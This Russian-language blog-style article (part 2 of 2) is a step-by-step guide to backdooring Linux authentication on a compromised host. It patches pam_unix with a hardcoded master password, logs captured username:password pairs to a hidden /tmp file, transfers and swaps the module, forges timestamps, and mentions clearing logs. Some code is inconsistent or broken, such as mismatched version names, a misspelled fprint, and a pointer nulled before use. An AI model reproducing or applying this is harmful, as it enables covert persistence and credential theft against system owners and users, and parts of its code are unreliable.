PAM backdoor by artrone ЧАСТЬ 2/2
Добро пожаловать во вторую часть статьи «PAM backdoor». В предыдущей части мы обсудили, что такое PAM (Pluggable Authentication Modules) и как можно создать собственный модуль для PAM. В этой второй части мы пойдём немного по другому пути и изменим уже существующий модуль, а также настроим логирование для сбора паролей.
Кто не читал первую часть, вам сюда: https://habr.com/ru/articles/791240/
Способ 2. Модификация модуля
Если немножко вспомним прошлую статью, то заметим, что в качестве «стандарта», сервисы для авторизации используют common-auth
, в котором содержится общий модуль pam_unix.so
cat su
@include common-auth
cat sshd
# Standard Un*x authentication.
@include common-auth
cat sudo-i
@include common-auth
и т.д.
Собственно, вот и комментарий в common-auth, который описывает для чего он нужен и с чем его едят:
#/etc/pam.d/common-auth - authentication settings common to all services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of the authentication modules that define
# the central authentication scheme for use on the system
# (e.g., /etc/shadow, LDAP, Kerberos, etc.). The default is to use the
# traditional Unix authentication mechanisms.
А вот и сам подключаемый модуль, который нам интересен:
cat common-auth
auth [success=1 default=ignore] pam_unix.so nullok
На данном этапе необходимо определить порядок действий:
Получаем исходник
pam_unix.so
Модифицируем его
Компилируем
Заменяем «стандарт» на свой
Профит!
Перейдем к практике
UPD: Данную атаку буду проводить через Remote вектор (удаленно).
Собственно, схема стандартная: скомпрометировал хост и хочу закрепиться в системе.
1. Получение исходников
произвожу действия на своём хосте
Проверяем версию:
dpkg -l | grep pam
ii libpam-gnome-keyring:amd64 42.1-1+b2 amd64 PAM module to unlock the GNOME keyring upon login
ii libpam-modules:amd64 1.5.2-9.1ubuntu1 amd64 Pluggable Authentication Modules for PAM
ii libpam-modules-bin 1.5.2-9.1ubuntu1 amd64 Pluggable Authentication Modules for PAM - helper binaries
ii libpam-runtime 1.5.2-9.1 all Runtime support for the PAM library
ii libpam0g:amd64 1.5.2-9.1ubuntu1 amd64 Pluggable Authentication Modules library
ii libpam0g-dev:amd64 1.5.2-9.1ubuntu1 amd64 Development files for PAM
Как видим, версия PAM 1.5.2
wget https://github.com/linux-pam/linux-pam/releases/download/v1.5.2/Linux-PAM-1.5.1.tar.xz
*версию выбираете сами
tar -xf Linux-PAM-1.5.2.tar.xz
cd Linux-PAM-1.5.2/modules/pam_url
Среди множества файлов модуля pam_unix
, нам необходим следующий :
2. Модификация
Открываем его:
Находим 172-ю строку и модифицируем код, добавляя дополнительную проверку пароля
if (strcmp(p, "the-world-is-yours") != 0)
retval = _unix_verify_password(pamh, name, p, ctrl);
else
retval = PAM_SUCCESS;
Также можно сделать так:
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
if (strcmp(p,"magic") == 0)
retval = PAM_SUCCESS;
Собственно, мы добавили новое условие проверки пароля. Если говорить словами, то будет что-то типо: «Если количество различий введенных символов со строкой 'bye' равны нулю, то возвращаемое значение будет равно 'PAM_SUCCESS' ».
Теперь накатим логирование:
if (retval == PAM_SUCCESS) {
FILE *fd;
fd = fopen("/tmp/.passwd", "a");
fprint(fd, "%s:%sn", name, p);
fclose(fd);
}
В конечном итоге, получилось так:
Теперь логи будут лететь в /tmp/.passwd
3. Компиляция
Поскольку я имею две разные системы (несмотря на одинаковую версию PAM): kali и xubuntu, скомпилированный модуль на kali не подойдет для xubuntu и наоборот. Вас будут ждать эти пять заветных слов при попытки авторизации «Permission denied, please try again.»…
Если есть какой-то способ обойти это- отпишитесь. Будет очень интересно почитать.
cd Linux-PAM-1.5.2
./configure
make
Также хочу отметить, что при компиляции я столкнулся с рядом проблем:
1. Fatal error: rpc/rpc.h: No such file or directory
Фикс:
apt install libntirpc-dev
dpkg -L libntirpc-dev
2. In file included from /usr/include/tirpc/rpc/rpc.h, from yppasswd_xdr.c error: unknown type name 'int32_t'
Фикс:
В файле yppasswd_xdr.c подключаем
#include
3. In file included from /usr/include/tirpc/rpc/rpc.h, from yppasswd_xdr.c error: unknown type name 'u_int32_t'
Фикс:
В файле /usr/include/tirpc/rpc/types.h меняем u_int32_t
на uint32_t
4. Заменяем «стандарт» на свой
Итак, после того, как мы изменили файл pam_unix_auth.c, необходимо закинуть на целевой хост папку с PAM’ом
tar -zcvf temp.tar.gz Linux-PAM-1.5.2
python3 -m http.server
wget http://ip:8000/temp.tar.gz
Далее, делаем действия из пункта 3.
После этого, распаковываем файл и заменяем его:
tar -xvf temp.tar.gz
mv Linux-PAM-1.5.2/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu-security
Также стоит дать нужные права и поменять временные метки файла:
chmod 644 pam_unix.so
touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_unix.so
Ну и чистка логов в дальнейшем.
Проверяем результат:
Стоить добавить, что данная лазейка работает для любых аккаунтов, существующих на хосте. Например:
Как видно, мы не задавали пароль пользователю и он успешно смог войти. Также и для su:
Заключение
Как я и говорил, данный способ является чуть более незаметным с точки зрения количества файлов, нежели добавление нового модуля, но требует компиляции на целевом хосте из-за некоторых особенностей, что может стать серьезной проблемой скрытия своего присутствия. Помимо этого, может возникнуть множество непредвиденных казусов (ошибки компиляции), которые требуют лишней активности.
UPD: Это был первый опыт разбиения статьи на части. Данная тема достаточно обширна, и показанные мной способы одни из множества вариантов в данном векторе. Надеюсь, изложение материала вам понравилось и всё было понятно. До новых встреч!